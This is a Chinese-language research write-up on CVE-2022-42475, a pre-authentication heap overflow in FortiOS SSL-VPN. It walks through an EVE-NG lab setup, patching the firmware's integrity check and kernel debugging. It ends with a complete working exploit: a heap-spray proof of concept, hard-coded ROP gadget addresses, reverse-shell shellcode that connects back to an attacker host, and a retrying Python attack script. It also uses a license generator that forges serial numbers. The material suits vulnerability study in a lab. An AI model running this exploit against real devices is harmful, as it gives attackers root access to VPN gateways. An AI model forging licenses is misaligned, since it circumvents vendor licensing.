ChinaGreat-Sec

IOT 网络安全社区

View on GitHub

CVE-2022-42475 — FortiOS SSL-VPN 堆缓冲区溢出 Pre-auth RCE

CVSS 9.8 Heap Overflow FortiOS Pre-auth


EVE-NG 靶机内核提取与调试符号重建指南

在进行物联网安全研究或底层漏洞分析时,我们常常需要对 EVE-NG 中的 QEMU 节点进行内核级调试。本指南详述了如何通过挂载虚拟机的 qcow2 磁盘文件提取内核,并将其重建为支持 GDB 源码级调试的标准 vmlinux ELF 文件。


阶段一:在 EVE-NG 中导入与配置目标虚拟机镜像

在提取内核之前,我们需要先将目标设备的官方 KVM 镜像正确导入 EVE-NG 并转换为标准格式。

1. 创建镜像目录

参考 EVE-NG 的命名规范(Fortinet 镜像目录必须以 fortinet- 开头)。在 EVE-NG 底层命令行中执行:

mkdir -p /opt/unetlab/addons/qemu/fortinet-FGT-v7.2.2.F-build1255/

2. 上传文件

使用 FileZilla、WinSCP 或 SCP 命令,将下载的固件压缩包上传到刚刚创建的目录中。

3. 解压并重命名磁盘文件

进入该目录,解压文件,随后清理压缩包:

cd /opt/unetlab/addons/qemu/fortinet-FGT-v7.2.2.F-build1255/
unzip fortinet-FGT-v7.2.2.F-build1255.tgz

# 清理原始压缩包
rm fortinet-FGT-v7.2.2.F-build1255.tgz  

4. 修复文件权限(极其重要)

每次在 EVE-NG 中新增或修改底层镜像后,都必须执行权限修复命令,否则节点将无法启动:

/opt/unetlab/wrappers/unl_wrapper -a fixpermissions

5. 启动虚拟机

通过浏览器访问 EVE 管理页面创建并启动 Fortigate 虚拟机。

EVE-NG FortiGate 节点启动

阶段二:固件定制

问题:仅仅拥有 FortiGate 设备不足以满足研究需求,因为我们需要对硬件设备和虚拟机上的底层 Linux 操作系统(即 FortiOS)进行 root 访问才能启动研究。
解决方案:解压 rootfs.gz 获得文件系统并对固件定制,最终对固件重打包放回镜像文件。
使用 qemu-nbd 是 Linux 环境下最原生的挂载方式。

⚠️ 警告:绝对不要在虚拟机(节点)正在运行或未完全关机的状态下挂载其 qcow2 文件!这会导致文件系统严重损坏。

1. 加载 NBD 内核模块

首先加载网络块设备(NBD)模块,并配置允许其识别分区。

sudo modprobe nbd max_part=8

2. 映射并挂载目标分区

将目标 qcow2 文件连接到 /dev/nbd0 设备上,并找到存放 /boot 目录的分区进行挂载。

# 映射磁盘镜像
sudo qemu-nbd -c /dev/nbd0 /path/to/your/image.qcow2

# 请将 your_image.qcow2 替换为你实际的镜像文件路径,不拓展可导致修改后文件系统无法放入镜像
qemu-img resize your_image.qcow2 +2G

# 查看内部真实分区结构
sudo fdisk -l /dev/nbd0

# 假设系统分区是 nbd0p1,创建目录并挂载
sudo mkdir -p /mnt/qcow2
sudo mount /dev/nbd0p1 /mnt/qcow2

qcow2 分区挂载

3. 固件重打包

为避免攻击者向系统中注入恶意程序,Forti 官方在启动流程中添加了文件系统校验。定位检查逻辑,将检查逻辑 patch 掉。

当对固件修改后重新启动,会出现 The system is halted. 错误。

system halted 错误

可通过字符串搜索匹配到二进制文件 bin/init,定位到函数 sub_44F050

IDA 中定位 sub_44F050

将 init 程序中对函数 sub_44F050 的引用进行 hook,绕过校验逻辑。

hook 校验函数

接下来将 busybox、sh 放入固件文件系统并将 sh 与 cli 中命令绑定,例如 diagnose hardware smartctl(修改 /bin/smartctl 为 sh 启动脚本)。最终将 rootfs 重新打包为 rootfs.gz 放入到挂载的文件系统。

4. 卸载与清理

提取完成后,必须严格按顺序清理,安全断开连接。

sudo umount /mnt/qcow2
sudo qemu-nbd -d /dev/nbd0

(注:如果目标是 LVM 卷,需在挂载前后配合 vgchange -ayvgchange -an 激活/停用卷组。)


阶段三:使用 vmlinux-to-elf 重建内核 ELF 文件

问题:init 对系统文件进行校验的同时,内核也影响了系统启动流程,为了分析启动流程,需要对内核文件进行分析,但内核文件无法直接放入 IDA 中进行反汇编。
解决方案:在获取了压缩的内核文件后,为了进行 GDB 动态调试或放入 IDA/Ghidra 静态分析,我们需要将其转换为未压缩且包含符号表的标准 ELF 格式文件(vmlinux)。

1. 安装 vmlinux-to-elf

sudo snap install vmlinux-to-elf

2. 提取并转换内核

vmlinux-to-elf vmlinuz_target vmlinux

工具成功运行时的输出示例:

[+] Kernel successfully decompressed in-memory...
[+] Found kallsyms_token_table at file offset 0x012b4a30
[+] Found kallsyms_names at file offset 0x011d87e0
[+] Successfully parsed kallsyms
[+] Generated ELF file successfully saved to: vmlinux

只要看到 Successfully parsed kallsyms,说明内核内存中的符号表已被成功捕获并重建。

3. 验证生成的 vmlinux

3.1 检查文件格式

file flatkc.elf

期望输出vmlinux: ELF 64-bit LSB executable... not strippednot stripped 代表带有符号表)。

3.2 检查符号表

nm vmlinux | grep sys_clone
# 或
readelf -s vmlinux | head -n 20

阶段四:接入 EVE-NG (QEMU) 进行 GDB 调试

1. 逆向分析

首先将内核的 ELF 文件放入 IDA 中查看启动逻辑。

内核 IDA 分析

内核首先对固件进行校验,通过后会启动 sbin/init,该程序的功能是解压 bin.tar.xz 并执行解压后的 bin/init,此时将会覆盖我们 hook 后的 bin/init,因此我们需要修改字符串 sbin/initbin/init

2. 动态调试

  1. 在 EVE-NG 节点配置中,找到 QEMU custom options,追加参数:-gdb tcp:0.0.0.0:1234,避免错过断点可加 -S 参数。
  2. 启动该节点。
  3. 在你的分析机上,加载重建的 ELF 文件并连接调试,在内核启动函数 start_kernel 下断点保证内核加载到内存中:
gdb-multiarch ./vmlinux
(gdb) target remote <EVE-NG-IP>:1234
(gdb) hb start_kernel
(gdb) c 
(gdb) b fgt_verify_address
(gdb) c
(gdb) set {char[10]} /sbin/init_address="/bin/init"

阶段五:授权激活

使用 fgt-gadgets license_gadget 生成授权文件激活,需修改授权程序中的 SerialNumberUUID

SerialNumberFGVMPG 开头为正式授权,FGVMEV 为试用授权。

阶段六:漏洞分析

1. 漏洞概述

CVE-2022-42475 是 Fortinet FortiOS SSL-VPN 功能中的一个堆缓冲区溢出漏洞,存在于 sslvpnd 守护进程处理 HTTPS 请求的代码路径中。

攻击者无需认证,通过向 /remote/login 端点发送一个畸形的 Content-Length 字段(值约 115 GB),即可在服务端触发堆溢出,进而实现未授权任意代码执行(Pre-auth RCE)

2. 漏洞成因

2.1 触发点

漏洞位于 sslvpnd 处理 HTTP 请求头的代码中。当解析 Content-Length 字段时,程序将该值直接用于 malloc() 分配堆内存,随后从 socket 读取数据时对边界检查不足,导致写入超出分配堆块的数据。

2.2 内存布局

┌─────────────────────────────────────────────────────────┐
│  正常堆块 A  │  目标堆块(被溢出覆盖)  │  正常堆块 B  │
└─────────────────────────────────────────────────────────┘
                        ▲
                        |
            sslvpnd 连接对象 / 函数指针

通过预先进行堆喷射(Heap Spray)堆风水(Heap Feng Shui),攻击者可精确控制溢出覆盖的目标对象,使其包含函数指针或 vtable 指针。

2.3 堆喷射原理

阶段1:建立 60 个 TLS 连接 → 填满堆,建立可预测布局
阶段2:释放交替的 10 个连接(索引 20,22,24...38)→ 制造等间距空洞
阶段3:触发溢出,使溢出数据填充空洞并覆盖相邻存活块

空洞的尺寸与溢出 chunk 的尺寸对齐,保证溢出数据能精准落入目标对象所在区域。

POST /remote/login HTTP/1.1
Host: <target>
Content-Length: 115964116992   ← 约 108 GB,触发畸形分配
Content-Type: text/plain;charset=UTF-8

a=1<payload>

3. 漏洞利用

3.1 整体利用流程

Pre-auth HTTP请求
       │
       ▼
[1] 堆风水布局
    60 个 TLS 连接占位
    释放偶数索引连接制造空洞
       │
       ▼
[2] 触发堆溢出
    Content-Length: 115964116992
    实际发送 payload(约 4KB)
       │
       ▼
[3] 覆盖相邻堆对象
    函数指针/vtable → stack_pivot gadget
       │
       ▼
[4] 触发回调
    向所有连接发送 40 字节触发对象引用
       │
       ▼
[5] 控制流劫持
    执行 stack_pivot: push rdx; pop rsp; ret
    rsp → 溢出 payload 内的 ROP 链
       │
       ▼
[6] ROP 链执行
    mprotect 将堆标记为 RWX (prot=7)
    jmp_rsp 跳入 shellcode
       │
       ▼
[7] Shellcode 执行
    socket + connect + dup2 + execve("/bin/node")
       │
       ▼
[8] 反弹 Shell
    攻击者获得 root 权限的交互式 shell

3.2 确定偏移

FortiOS 使用 jemalloc 作为其主要内存分配器。分配的内存是连续的,内存块之间没有任何堆元数据。对于给定大小范围内的数据块,空闲列表采用后进先出(LIFO)机制实现,因此我们可以可靠地回收数据块。

通过以下 POC 触发程序崩溃,计算函数指针偏移:

import socket, ssl, time
from pwn import *

path = "/remote/login".encode()
ip   = "192.168.xx.xx"
port = xxxx

def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect((ip, port))
    _default_context = ssl._create_unverified_context()
    return _default_context.wrap_socket(_socket)

while True:
    try:
        socks = []
        for i in range(100):
            sk = create_ssl_ctx()
            sk.sendall(b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.64.129\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1")
            socks.append(sk)
        for i in range(20, 40, 2):
            socks[i].close()
            socks[i] = None
        CL = "115964116992"
        exp_sk = create_ssl_ctx()
        for i in range(20):
            socks.append(create_ssl_ctx())
        exp_sk.sendall(b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.64.129\r\nContent-Length: " + CL.encode() + b"\r\n...\r\n\r\na=1")
        exp_sk.sendall(cyclic(4000))
        for sk in socks:
            if sk:
                try: sk.sendall(b"b" * 40)
                except: pass
    except Exception as e:
        print(f"发生错误: {e}, 正在重试...")
        time.sleep(1)

通过 GDB 观察运行状态可以确定 jmp rax 指令实现函数指针调用,rax 内容被溢出字符串填充。

GDB 调试确认函数指针偏移

根据 rax 的值可以确定函数指针的偏移:

~/Desktop> cyclic -l bafkbaek
3613

栈迁移需要将 rsp 值修改为堆上可控地址并执行构造的 ROP 链和 shellcode,观察函数调用时寄存器状态确定了 rdxr9r11 指向堆上可控地址。根据偏移填充 ROP 链:

cyclic -l igabihabiiabijabimabilabimabinabioabipabiqabirabis
3421

3.3 Payload 内存布局

偏移值     内容
─────────────────────────────────────────────────────
0000       垃圾填充 A×3421
3421       ROP 链(mprotect + jmp_rsp)
3421+N     跳板 \xeb + offset(短跳跃,跨越 pivot 8 字节)
3613       stack_pivot gadget 地址(8 字节小端序)
3621       Shellcode 起始
─────────────────────────────────────────────────────

设计约束说明:


3.4 Exp 构建

3.4.1 ROP 链逻辑
rop_chain  = p64(pop_rcx_ret)
rop_chain += p64(0xfffffffffffff000)  # 页对齐掩码
rop_chain += p64(ret)                 # 栈对齐 padding
rop_chain += p64(ret)
rop_chain += p64(mov_rax_rdx_ret)     # rax = rdx(堆地址)
rop_chain += p64(and_rax_rcx_ret)     # rax &= ~0xfff(页起始地址)
rop_chain += p64(pop_rdx_ret)
rop_chain += p64(0)
rop_chain += p64(mov_rdi_rax_ret)     # rdi = rax(mprotect addr 参数)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(0x10000)             # rsi = 64KB
rop_chain += p64(pop_rdx_ret)
rop_chain += p64(7)                   # rdx = 7(PROT_READ|WRITE|EXEC)
rop_chain += p64(mprotect_plt)
rop_chain += p64(jmp_rsp)             # 跳入 shellcode

等价于: mprotect(page_align(rdx), 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC);


3.4.2 Shellcode 结构
┌──────────────────────────────────────────────────┐
│  sub rsp, 254      防止 push 覆盖 shellcode 自身  │
├──────────────────────────────────────────────────┤
│  SYS_socket        创建 TCP socket (AF_INET)      │
│  → rbp = sockfd                                  │
├──────────────────────────────────────────────────┤
│  SYS_connect       连接攻击者 IP:PORT             │
├──────────────────────────────────────────────────┤
│  SYS_dup2(fd, 0/1/2)  重定向 stdin/stdout/stderr │
├──────────────────────────────────────────────────┤
│  SYS_execve        执行 /bin/node -i              │
└──────────────────────────────────────────────────┘
3.4.3 Final EXP
import socket, ssl, time
from pwn import *

ip   = "192.168.64.132"
port = 4443
path = b"/remote/login"

LHOST_HEX = b"\xc0\xa8\x40\x86"   # 192.168.64.134
LPORT_HEX = b"\x11\x5c"            # 4444

# ROP Gadgets (sslvpnd)
stack_pivot     = 0x0000000000c23ee6  # push rdx ; pop rsp ; ret
pop_rsi_ret     = 0x0000000000530bbe
pop_rdx_ret     = 0x000000000043f942
pop_rcx_ret     = 0x00000000004d4963
ret             = 0x000000000043a016
jmp_rsp         = 0x00000000005af97d
mprotect_plt    = 0x00000000043F3C0
mov_rdi_rax_ret = 0x00000000013afec4
and_rax_rcx_ret = 0x0000000002b86bf0
mov_rax_rdx_ret = 0x000000000054d9e8

shellcode = (
    b"\x48\x83\xec\x7f" + b"\x48\x83\xec\x7f" +     # sub rsp, 254
    b"\x48\x31\xff" + b"\xff\xc7" + b"\xff\xc7" +    # rdi = 2 (AF_INET)
    b"\x48\x31\xf6" + b"\xff\xc6" +                  # rsi = 1 (SOCK_STREAM)
    b"\x48\x31\xd2" + b"\x6a\x29\x58" + b"\x0f\x05" + b"\x48\x89\xc5" +
    b"\x48\x31\xf6" + b"\x56" +
    b"\x48\xb8\x02\x00" + LPORT_HEX + LHOST_HEX + b"\x50" +
    b"\x48\x89\xe6" + b"\x48\x89\xef" + b"\x6a\x10\x5a" +
    b"\x6a\x2a\x58" + b"\x0f\x05" +
    b"\x48\x89\xef" + b"\x48\x31\xf6" + b"\x6a\x21\x58\x0f\x05" +
    b"\x48\x89\xef" + b"\xff\xc6" + b"\x6a\x21\x58\x0f\x05" +
    b"\x48\x89\xef" + b"\xff\xc6" + b"\x6a\x21\x58\x0f\x05" +
    b"\x48\x31\xc0" + b"\x48\x31\xd2" + b"\x50" +
    b"\x48\x31\xdb" + b"\xb3\x65" + b"\x53" +
    b"\x48\xbb\x2f\x62\x69\x6e\x2f\x6e\x6f\x64" + b"\x53" +
    b"\x48\x89\xe7" + b"\x48\x31\xdb" + b"\x66\xbb\x2d\x69" + b"\x53" +
    b"\x48\x89\xe1" + b"\x50" + b"\x51" + b"\x57" +
    b"\x48\x89\xe6" + b"\xb0\x3b" + b"\x0f\x05"
)

def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect((ip, port))
    ctx = ssl._create_unverified_context()
    return ctx.wrap_socket(_socket)

while True:
    try:
        socks = []
        for _ in range(60):
            sk = create_ssl_ctx()
            sk.sendall(b"POST " + path + b" HTTP/1.1\r\nHost: " + ip.encode() +
                       b"\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\n"
                       b"Content-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1")
            socks.append(sk)

        for i in range(20, 40, 2):
            socks[i].close(); socks[i] = None

        exp_sk = create_ssl_ctx()
        for _ in range(20):
            socks.append(create_ssl_ctx())
        exp_sk.sendall(b"POST " + path + b" HTTP/1.1\r\nHost: " + ip.encode() +
                       b"\r\nContent-Length: 115964116992\r\nUser-Agent: Mozilla/5.0\r\n"
                       b"Content-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1")

        payload = b"A" * 3421
        rop_chain  = p64(pop_rcx_ret) + p64(0xfffffffffffff000)
        rop_chain += p64(ret) + p64(ret)
        rop_chain += p64(mov_rax_rdx_ret) + p64(and_rax_rcx_ret)
        rop_chain += p64(pop_rdx_ret) + p64(0)
        rop_chain += p64(mov_rdi_rax_ret) + p64(pop_rsi_ret) + p64(0x10000)
        rop_chain += p64(pop_rdx_ret) + p64(7)
        rop_chain += p64(mprotect_plt) + p64(jmp_rsp)
        payload += rop_chain

        available_space = 3613 - len(payload)
        payload += b"\xeb" + bytes([available_space - 2 + 8])
        payload  = payload.ljust(3613, b"C")
        payload += p64(stack_pivot) + shellcode

        exp_sk.sendall(payload)

        for sk in socks:
            if sk:
                try: sk.sendall(b"b" * 40)
                except: pass

        print("[+] Payload 发送完成,等待回连...")

    except Exception as e:
        print(f"[-] 错误: {e},正在重试...")
        time.sleep(1)

⚠️ 免责声明:本文仅用于安全研究与教育目的。请勿将上述技术用于未经授权的系统。